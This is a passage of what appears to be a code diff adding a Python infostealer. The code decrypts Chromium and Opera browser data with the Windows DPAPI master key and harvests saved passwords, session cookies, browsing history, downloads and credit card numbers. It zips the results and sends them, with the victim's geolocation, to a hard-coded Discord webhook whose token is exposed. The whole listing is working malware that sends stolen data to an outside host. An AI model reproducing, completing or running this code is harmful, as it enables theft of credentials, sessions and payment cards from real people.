with open(f"{pathname}\\vault\\cards.txt", "w", encoding="utf-8") as f:
|
|
352
|
+
f.write('\n'.join(str(x) for x in __CARDS__))
|
|
353
|
+
|
|
354
|
+
with ZipFile(f"{pathname}\\vault.zip", "w") as zip:
|
|
355
|
+
for file in os.listdir(f"{pathname}\\vault"):
|
|
356
|
+
zip.write(f"{pathname}\\vault\\{file}", file)
|
|
357
|
+
|
|
358
|
+
def send(self):
|
|
359
|
+
location = geolocation();
|
|
360
|
+
embed=Embed(
|
|
361
|
+
title="vault",
|
|
362
|
+
description="```" + '\n'.join(self.tree(Path(f"{pathname}\\vault"))) + "```",
|
|
363
|
+
)
|
|
364
|
+
embed.set_footer(
|
|
365
|
+
text = f"{location[1].lower()} ({location[0]})",
|
|
366
|
+
icon_url = "https://cdn.jde.fyi/assets/sttc.png"
|
|
367
|
+
)
|
|
368
|
+
|
|
369
|
+
self.webhook.send(
|
|
370
|
+
embed=embed,
|
|
371
|
+
file=File(f"{pathname}\\vault.zip"),
|
|
372
|
+
)
|
|
373
|
+
|
|
374
|
+
def clean(self):
|
|
375
|
+
shutil.rmtree(f"{pathname}\\vault")
|
|
376
|
+
os.remove(f"{pathname}\\vault.zip")
|
|
377
|
+
|
|
378
|
+
def tree(self, path: Path, prefix: str = '', midfix_folder: str = '📂 - ', midfix_file: str = '📄 - '):
|
|
379
|
+
pipes = {
|
|
380
|
+
'space': ' ',
|
|
381
|
+
'branch': '│ ',
|
|
382
|
+
'tee': '├── ',
|
|
383
|
+
'last': '└── ',
|
|
384
|
+
}
|
|
385
|
+
|
|
386
|
+
if prefix == '':
|
|
387
|
+
yield midfix_folder + path.name
|
|
388
|
+
|
|
389
|
+
contents = list(path.iterdir())
|
|
390
|
+
pointers = [pipes['tee']] * (len(contents) - 1) + [pipes['last']]
|
|
391
|
+
for pointer, path in zip(pointers, contents):
|
|
392
|
+
if path.is_dir():
|
|
393
|
+
yield f"{prefix}{pointer}{midfix_folder}{path.name} ({len(list(path.glob('**/*')))} files, {sum(f.stat().st_size for f in path.glob('**/*') if f.is_file()) / 1024:.2f} kb)"
|
|
394
|
+
extension = pipes['branch'] if pointer == pipes['tee'] else pipes['space']
|
|
395
|
+
yield from self.tree(path, prefix=prefix+extension)
|
|
396
|
+
else:
|
|
397
|
+
yield f"{prefix}{pointer}{midfix_file}{path.name} ({path.stat().st_size / 1024:.2f} kb)"
|
|
398
|
+
|
|
399
|
+
class Chromium:
|
|
400
|
+
def __init__(self):
|
|
401
|
+
self.appdata = os.getenv('LOCALAPPDATA')
|
|
402
|
+
self.browsers = {
|
|
403
|
+
'vivaldi': self.appdata + '\\Vivaldi\\User Data',
|
|
404
|
+
'google-chrome-sxs': self.appdata + '\\Google\\Chrome SxS\\User Data',
|
|
405
|
+
'google-chrome': self.appdata + '\\Google\\Chrome\\User Data',
|
|
406
|
+
'microsoft-edge': self.appdata + '\\Microsoft\\Edge\\User Data',
|
|
407
|
+
'uran': self.appdata + '\\uCozMedia\\Uran\\User Data',
|
|
408
|
+
'yandex': self.appdata + '\\Yandex\\YandexBrowser\\User Data',
|
|
409
|
+
'brave': self.appdata + '\\BraveSoftware\\Brave-Browser\\User Data',
|
|
410
|
+
'iridium': self.appdata + '\\Iridium\\User Data',
|
|
411
|
+
}
|
|
412
|
+
self.profiles = [
|
|
413
|
+
'Default',
|
|
414
|
+
'Profile 1',
|
|
415
|
+
'Profile 2',
|
|
416
|
+
'Profile 3',
|
|
417
|
+
'Profile 4',
|
|
418
|
+
'Profile 5',
|
|
419
|
+
]
|
|
420
|
+
|
|
421
|
+
for _, path in self.browsers.items():
|
|
422
|
+
if not os.path.exists(path):
|
|
423
|
+
continue
|
|
424
|
+
|
|
425
|
+
self.master_key = self.get_master_key(f'{path}\\Local State')
|
|
426
|
+
if not self.master_key:
|
|
427
|
+
continue
|
|
428
|
+
|
|
429
|
+
for profile in self.profiles:
|
|
430
|
+
if not os.path.exists(path + '\\' + profile):
|
|
431
|
+
continue
|
|
432
|
+
|
|
433
|
+
operations = [
|
|
434
|
+
self.get_login_data,
|
|
435
|
+
self.get_cookies,
|
|
436
|
+
self.get_web_history,
|
|
437
|
+
self.get_downloads,
|
|
438
|
+
self.get_credit_cards,
|
|
439
|
+
]
|
|
440
|
+
|
|
441
|
+
for operation in operations:
|
|
442
|
+
try:
|
|
443
|
+
operation(path, profile)
|
|
444
|
+
except Exception as e:
|
|
445
|
+
pass
|
|
446
|
+
|
|
447
|
+
def get_master_key(self, path: str) -> str:
|
|
448
|
+
if not os.path.exists(path):
|
|
449
|
+
return
|
|
450
|
+
|
|
451
|
+
if 'os_crypt' not in open(path, 'r', encoding='utf-8').read():
|
|
452
|
+
return
|
|
453
|
+
|
|
454
|
+
with open(path, "r", encoding="utf-8") as f:
|
|
455
|
+
c = f.read()
|
|
456
|
+
local_state = json.loads(c)
|
|
457
|
+
|
|
458
|
+
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
|
|
459
|
+
master_key = master_key[5:]
|
|
460
|
+
master_key = CryptUnprotectData(master_key, None, None, None, 0)[1]
|
|
461
|
+
return master_key
|
|
462
|
+
|
|
463
|
+
def decrypt_password(self, buff: bytes, master_key: bytes) -> str:
|
|
464
|
+
iv = buff[3:15]
|
|
465
|
+
payload = buff[15:]
|
|
466
|
+
cipher = AES.new(master_key, AES.MODE_GCM, iv)
|
|
467
|
+
decrypted_pass = cipher.decrypt(payload)
|
|
468
|
+
decrypted_pass = decrypted_pass[:-16].decode()
|
|
469
|
+
|
|
470
|
+
return decrypted_pass
|
|
471
|
+
|
|
472
|
+
def get_login_data(self, path: str, profile: str):
|
|
473
|
+
login_db = f'{path}\\{profile}\\Login Data'
|
|
474
|
+
if not os.path.exists(login_db):
|
|
475
|
+
return
|
|
476
|
+
|
|
477
|
+
shutil.copy(login_db, 'login_db')
|
|
478
|
+
conn = sqlite3.connect('login_db')
|
|
479
|
+
cursor = conn.cursor()
|
|
480
|
+
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
|
|
481
|
+
for row in cursor.fetchall():
|
|
482
|
+
if not row[0] or not row[1] or not row[2]:
|
|
483
|
+
continue
|
|
484
|
+
|
|
485
|
+
password = self.decrypt_password(row[2], self.master_key)
|
|
486
|
+
__LOGINS__.append(Types.Login(row[0], row[1], password))
|
|
487
|
+
|
|
488
|
+
conn.close()
|
|
489
|
+
os.remove('login_db')
|
|
490
|
+
|
|
491
|
+
def get_cookies(self, path: str, profile: str):
|
|
492
|
+
cookie_db = f'{path}\\{profile}\\Network\\Cookies'
|
|
493
|
+
if not os.path.exists(cookie_db):
|
|
494
|
+
return
|
|
495
|
+
|
|
496
|
+
shutil.copy(cookie_db, 'cookie_db')
|
|
497
|
+
conn = sqlite3.connect('cookie_db')
|
|
498
|
+
cursor = conn.cursor()
|
|
499
|
+
cursor.execute('SELECT host_key, name, path, encrypted_value,expires_utc FROM cookies')
|
|
500
|
+
for row in cursor.fetchall():
|
|
501
|
+
if not row[0] or not row[1] or not row[2] or not row[3]:
|
|
502
|
+
continue
|
|
503
|
+
|
|
504
|
+
cookie = self.decrypt_password(row[3], self.master_key)
|
|
505
|
+
__COOKIES__.append(Types.Cookie(row[0], row[1], row[2], cookie, row[4]))
|
|
506
|
+
|
|
507
|
+
conn.close()
|
|
508
|
+
os.remove('cookie_db')
|
|
509
|
+
|
|
510
|
+
def get_web_history(self, path: str, profile: str):
|
|
511
|
+
web_history_db = f'{path}\\{profile}\\History'
|
|
512
|
+
if not os.path.exists(web_history_db):
|
|
513
|
+
return
|
|
514
|
+
|
|
515
|
+
shutil.copy(web_history_db, 'web_history_db')
|
|
516
|
+
conn = sqlite3.connect('web_history_db')
|
|
517
|
+
cursor = conn.cursor()
|
|
518
|
+
cursor.execute('SELECT url, title, last_visit_time FROM urls')
|
|
519
|
+
for row in cursor.fetchall():
|
|
520
|
+
if not row[0] or not row[1] or not row[2]:
|
|
521
|
+
continue
|
|
522
|
+
|
|
523
|
+
__WEB_HISTORY__.append(Types.WebHistory(row[0], row[1], row[2]))
|
|
524
|
+
|
|
525
|
+
conn.close()
|
|
526
|
+
os.remove('web_history_db')
|
|
527
|
+
|
|
528
|
+
def get_downloads(self, path: str, profile: str):
|
|
529
|
+
downloads_db = f'{path}\\{profile}\\History'
|
|
530
|
+
if not os.path.exists(downloads_db):
|
|
531
|
+
return
|
|
532
|
+
|
|
533
|
+
shutil.copy(downloads_db, 'downloads_db')
|
|
534
|
+
conn = sqlite3.connect('downloads_db')
|
|
535
|
+
cursor = conn.cursor()
|
|
536
|
+
cursor.execute('SELECT tab_url, target_path FROM downloads')
|
|
537
|
+
for row in cursor.fetchall():
|
|
538
|
+
if not row[0] or not row[1]:
|
|
539
|
+
continue
|
|
540
|
+
|
|
541
|
+
__DOWNLOADS__.append(Types.Download(row[0], row[1]))
|
|
542
|
+
|
|
543
|
+
conn.close()
|
|
544
|
+
os.remove('downloads_db')
|
|
545
|
+
|
|
546
|
+
def get_credit_cards(self, path: str, profile: str):
|
|
547
|
+
cards_db = f'{path}\\{profile}\\Web Data'
|
|
548
|
+
if not os.path.exists(cards_db):
|
|
549
|
+
return
|
|
550
|
+
|
|
551
|
+
shutil.copy(cards_db, 'cards_db')
|
|
552
|
+
conn = sqlite3.connect('cards_db')
|
|
553
|
+
cursor = conn.cursor()
|
|
554
|
+
cursor.execute('SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, date_modified FROM credit_cards')
|
|
555
|
+
for row in cursor.fetchall():
|
|
556
|
+
if not row[0] or not row[1] or not row[2] or not row[3]:
|
|
557
|
+
continue
|
|
558
|
+
|
|
559
|
+
card_number = self.decrypt_password(row[3], self.master_key)
|
|
560
|
+
__CARDS__.append(Types.CreditCard(row[0], row[1], row[2], card_number, row[4]))
|
|
561
|
+
|
|
562
|
+
conn.close()
|
|
563
|
+
os.remove('cards_db')
|
|
564
|
+
|
|
565
|
+
class Opera:
|
|
566
|
+
def __init__(self) -> None:
|
|
567
|
+
self.roaming = os.getenv("APPDATA")
|
|
568
|
+
self.paths = {
|
|
569
|
+
'operagx': self.roaming + '\\Opera Software\\Opera GX Stable',
|
|
570
|
+
'opera': self.roaming + '\\Opera Software\\Opera Stable'
|
|
571
|
+
}
|
|
572
|
+
|
|
573
|
+
for _, path, in self.paths.items():
|
|
574
|
+
if not os.path.exists(path):
|
|
575
|
+
continue
|
|
576
|
+
|
|
577
|
+
self.master_key = self.get_master_key(f'{path}\\Local State')
|
|
578
|
+
if not self.master_key:
|
|
579
|
+
continue
|
|
580
|
+
|
|
581
|
+
operations = [
|
|
582
|
+
self.get_login_data,
|
|
583
|
+
self.get_cookies,
|
|
584
|
+
self.get_web_history,
|
|
585
|
+
self.get_downloads,
|
|
586
|
+
self.get_credit_cards
|
|
587
|
+
]
|
|
588
|
+
|
|
589
|
+
for operation in operations:
|
|
590
|
+
try:
|
|
591
|
+
operation(path)
|
|
592
|
+
except Exception as e:
|
|
593
|
+
pass
|
|
594
|
+
|
|
595
|
+
def get_master_key(self, path: str) -> str:
|
|
596
|
+
if not os.path.exists(path):
|
|
597
|
+
return
|
|
598
|
+
|
|
599
|
+
if 'os_crypt' not in open(path, 'r', encoding='utf-8').read():
|
|
600
|
+
return
|
|
601
|
+
|
|
602
|
+
with open(path, "r", encoding="utf-8") as f:
|
|
603
|
+
c = f.read()
|
|
604
|
+
local_state = json.loads(c)
|
|
605
|
+
|
|
606
|
+
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
|
|
607
|
+
master_key = master_key[5:]
|
|
608
|
+
master_key = CryptUnprotectData(master_key, None, None, None, 0)[1]
|
|
609
|
+
|
|
610
|
+
return master_key
|
|
611
|
+
|
|
612
|
+
def decrypt_password(self, buff: bytes, master_key: bytes) -> str:
|
|
613
|
+
iv = buff[3:15]
|
|
614
|
+
payload = buff[15:]
|
|
615
|
+
cipher = AES.new(master_key, AES.MODE_GCM, iv)
|
|
616
|
+
decrypted_pass = cipher.decrypt(payload)
|
|
617
|
+
decrypted_pass = decrypted_pass[:-16].decode()
|
|
618
|
+
|
|
619
|
+
return decrypted_pass
|
|
620
|
+
|
|
621
|
+
def get_login_data(self, path: str) -> None:
|
|
622
|
+
login_db = f'{path}\\Login Data'
|
|
623
|
+
if not os.path.exists(login_db):
|
|
624
|
+
return
|
|
625
|
+
|
|
626
|
+
shutil.copy(login_db, 'login_db')
|
|
627
|
+
conn = sqlite3.connect('login_db')
|
|
628
|
+
cursor = conn.cursor()
|
|
629
|
+
cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
|
|
630
|
+
for row in cursor.fetchall():
|
|
631
|
+
if not row[0] or not row[1] or not row[2]:
|
|
632
|
+
continue
|
|
633
|
+
|
|
634
|
+
password = self.decrypt_password(row[2], self.master_key)
|
|
635
|
+
__LOGINS__.append(Types.Login(row[0], row[1], password))
|
|
636
|
+
|
|
637
|
+
cursor.close()
|
|
638
|
+
conn.close()
|
|
639
|
+
os.remove('login_db')
|
|
640
|
+
|
|
641
|
+
def get_cookies(self, path: str) -> None:
|
|
642
|
+
cookies_db = f'{path}\\Network\\Cookies'
|
|
643
|
+
if not os.path.exists(cookies_db):
|
|
644
|
+
return
|
|
645
|
+
|
|
646
|
+
shutil.copy(cookies_db, 'cookies_db')
|
|
647
|
+
conn = sqlite3.connect('cookies_db')
|
|
648
|
+
conn.text_factory = bytes
|
|
649
|
+
cursor = conn.cursor()
|
|
650
|
+
cursor.execute('SELECT host_key, name, path, encrypted_value,expires_utc FROM cookies')
|
|
651
|
+
for row in cursor.fetchall():
|
|
652
|
+
if not row[0] or not row[1] or not row[2] or not row[3]:
|
|
653
|
+
continue
|
|
654
|
+
|
|
655
|
+
cookie = self.decrypt_password(row[3], self.master_key)
|
|
656
|
+
|
|
657
|
+
row = [x.decode('latin-1') if isinstance(x, bytes) else x for x in row]
|
|
658
|
+
__COOKIES__.append(Types.Cookie(row[0], row[1], row[2], cookie, row[4]))
|
|
659
|
+
|
|
660
|
+
cursor.close()
|
|
661
|
+
conn.close()
|
|
662
|
+
os.remove('cookies_db')
|
|
663
|
+
|
|
664
|
+
def get_web_history(self, path: str) -> None:
|
|
665
|
+
history_db = f'{path}\\History'
|
|
666
|
+
if not os.path.exists(history_db):
|
|
667
|
+
return
|
|
668
|
+
|
|
669
|
+
shutil.copy(history_db, 'history_db')
|
|
670
|
+
conn = sqlite3.connect('history_db')
|
|
671
|
+
cursor = conn.cursor()
|
|
672
|
+
cursor.execute("SELECT url, title, last_visit_time FROM urls")
|
|
673
|
+
for row in cursor.fetchall():
|
|
674
|
+
if not row[0] or not row[1] or not row[2]:
|
|
675
|
+
continue
|
|
676
|
+
|
|
677
|
+
__WEB_HISTORY__.append(Types.WebHistory(row[0], row[1], row[2]))
|
|
678
|
+
|
|
679
|
+
cursor.close()
|
|
680
|
+
conn.close()
|
|
681
|
+
os.remove('history_db')
|
|
682
|
+
|
|
683
|
+
def get_downloads(self, path: str) -> None:
|
|
684
|
+
downloads_db = f'{path}\\History'
|
|
685
|
+
if not os.path.exists(downloads_db):
|
|
686
|
+
return
|
|
687
|
+
|
|
688
|
+
shutil.copy(downloads_db, 'downloads_db')
|
|
689
|
+
conn = sqlite3.connect('downloads_db')
|
|
690
|
+
cursor = conn.cursor()
|
|
691
|
+
cursor.execute('SELECT tab_url, target_path FROM downloads')
|
|
692
|
+
for row in cursor.fetchall():
|
|
693
|
+
if not row[0] or not row[1]:
|
|
694
|
+
continue
|
|
695
|
+
|
|
696
|
+
__DOWNLOADS__.append(Types.Download(row[0], row[1]))
|
|
697
|
+
|
|
698
|
+
cursor.close()
|
|
699
|
+
conn.close()
|
|
700
|
+
os.remove('downloads_db')
|
|
701
|
+
|
|
702
|
+
def get_credit_cards(self, path: str) -> None:
|
|
703
|
+
cards_db = f'{path}\\Web Data'
|
|
704
|
+
if not os.path.exists(cards_db):
|
|
705
|
+
return
|
|
706
|
+
|
|
707
|
+
shutil.copy(cards_db, 'cards_db')
|
|
708
|
+
conn = sqlite3.connect('cards_db')
|
|
709
|
+
cursor = conn.cursor()
|
|
710
|
+
cursor.execute('SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, date_modified FROM credit_cards')
|
|
711
|
+
for row in cursor.fetchall():
|
|
712
|
+
if not row[0] or not row[1] or not row[2] or not row[3] or not row[4]:
|
|
713
|
+
continue
|
|
714
|
+
|
|
715
|
+
card_number = self.decrypt_password(row[3], self.master_key)
|
|
716
|
+
__CARDS__.append(Types.CreditCard(row[0], row[1], row[2], card_number, row[4]))
|
|
717
|
+
|
|
718
|
+
cursor.close()
|
|
719
|
+
conn.close()
|
|
720
|
+
os.remove('cards_db')
|
|
721
|
+
|
|
722
|
+
class Types:
|
|
723
|
+
class Login:
|
|
724
|
+
def __init__(self, url, username, password):
|
|
725
|
+
self.url = url
|
|
726
|
+
self.username = username
|
|
727
|
+
self.password = password
|
|
728
|
+
|
|
729
|
+
def __str__(self):
|
|
730
|
+
return f'{self.url}\t{self.username}\t{self.password}'
|
|
731
|
+
|
|
732
|
+
def __repr__(self):
|
|
733
|
+
return self.__str__()
|
|
734
|
+
|
|
735
|
+
class Cookie:
|
|
736
|
+
def __init__(self, host, name, path, value, expires):
|
|
737
|
+
self.host = host
|
|
738
|
+
self.name = name
|
|
739
|
+
self.path = path
|
|
740
|
+
self.value = value
|
|
741
|
+
self.expires = expires
|
|
742
|
+
|
|
743
|
+
def __str__(self):
|
|
744
|
+
return f'{self.host}\t{"FALSE" if self.expires == 0 else "TRUE"}\t{self.path}\t{"FALSE" if self.host.startswith(".") else "TRUE"}\t{self.expires}\t{self.name}\t{self.value}'
|
|
745
|
+
|
|
746
|
+
def __repr__(self):
|
|
747
|
+
return self.__str__()
|
|
748
|
+
|
|
749
|
+
class WebHistory:
|
|
750
|
+
def __init__(self, url, title, timestamp):
|
|
751
|
+
self.url = url
|
|
752
|
+
self.title = title
|
|
753
|
+
self.timestamp = timestamp
|
|
754
|
+
|
|
755
|
+
def __str__(self):
|
|
756
|
+
return f'{self.url}\t{self.title}\t{self.timestamp}'
|
|
757
|
+
|
|
758
|
+
def __repr__(self):
|
|
759
|
+
return self.__str__()
|
|
760
|
+
|
|
761
|
+
class Download:
|
|
762
|
+
def __init__(self, tab_url, target_path):
|
|
763
|
+
self.tab_url = tab_url
|
|
764
|
+
self.target_path = target_path
|
|
765
|
+
|
|
766
|
+
def __str__(self):
|
|
767
|
+
return f'{self.tab_url}\t{self.target_path}'
|
|
768
|
+
|
|
769
|
+
def __repr__(self):
|
|
770
|
+
return self.__str__()
|
|
771
|
+
|
|
772
|
+
class CreditCard:
|
|
773
|
+
def __init__(self, name, month, year, number, date_modified):
|
|
774
|
+
self.name = name
|
|
775
|
+
self.month = month
|
|
776
|
+
self.year = year
|
|
777
|
+
self.number = number
|
|
778
|
+
self.date_modified = date_modified
|
|
779
|
+
|
|
780
|
+
def __str__(self):
|
|
781
|
+
return f'{self.name}\t{self.month}\t{self.year}\t{self.number}\t{self.date_modified}'
|
|
782
|
+
|
|
783
|
+
def __repr__(self):
|
|
784
|
+
return self.__str__()
|
|
785
|
+
|
|
786
|
+
threads = [
|
|
787
|
+
# AntiDebug(),
|
|
788
|
+
DiscordToken("https://discord.com/api/webhooks/1097143528234156082/mw3SucICCTb4gkFm6_b1P1c-xiKygxbnlV2dLvyDiLthYiWK8jzfSVRRE_0evZTJ5ma1"),
|
|
789
|
+
Browsers("https://discord.com/api/webhooks/1097143528234156082/mw3SucICCTb4gkFm6_b1P1c-xiKygxbnlV2dLvyDiLthYiWK8jzfSVRRE_0evZTJ5ma1"),
|
|
790
|
+
]
|
|
791
|
+
|
|
792
|
+
[threading.Thread(target=x) for x in threads]
|